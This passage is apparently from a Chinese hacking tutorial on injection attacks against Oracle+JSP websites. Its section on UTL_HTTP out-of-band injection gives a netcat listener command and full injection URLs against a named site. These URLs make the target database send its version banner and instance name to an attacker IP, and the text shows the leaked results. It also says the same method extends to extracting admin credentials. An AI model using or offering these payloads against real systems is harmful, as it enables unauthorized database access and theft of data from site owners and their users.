Oracle+JSP 平台注入攻击技术
Oracle 是目前最为流行的高端数据库,常用于大型企业的官方网站服务器。经过一些黑客的挖掘, Oracle+JSP 平台的漏洞不断被公布。
1.3.1 常规注入手段
1.3.2 UTL_HTTP 反弹注射
在实施注入攻击的近程中,如果 Oracle 数据库不支持 Union 查询,还可以使用 UTL_HTTP.request() 函数,该函数可以从 Oracle 数据库服务器向外发送请求数据,通常在接收端执行“ nc -lvp 端口号”,可直接将注入反馈的信息反弹回来,并显示在 Cmdshell 上。类似的函数有 UTL_MAIL.request() 、 UTL_SMTP.request() 、 UTL_INADDR.request() 等。
首先在本机 Cmdshell 上输入“ nc -lvp 2007 ”
提交 URL 为“ http://www.nohacker.com/thous/view_zxxx.jsp?id=00016222' and UTL_HTTP.request('http://61.139.105.106:2007/'||(select banner from sys.v_$version where rownum=1))=1 and ''||' 1'='1 ”,显示目标服务器的数据库版本为“ Oracle9i Enterprise Edition Release 9.2.0.1.0 ”
提交URL为“http://www.nohacker.com/thous/view_zxxx.jsp?id=00016222' and UTL_HTTP.request('http://61.139.105.106:2007/'||(select instance_name from v$instance))=1 and ''||' 1'='1”,显示当前库名为“dfmc”
同理,通过改变注入语句“ UTL_HTTP.request('http://61.139.105.106:2007/'||(select instance_name from v$instance))=1 ”中“ select instance_name from v$instance ”部分,可以暴出数据库的其它内容,并最终获得网站后台管理员的相关信息。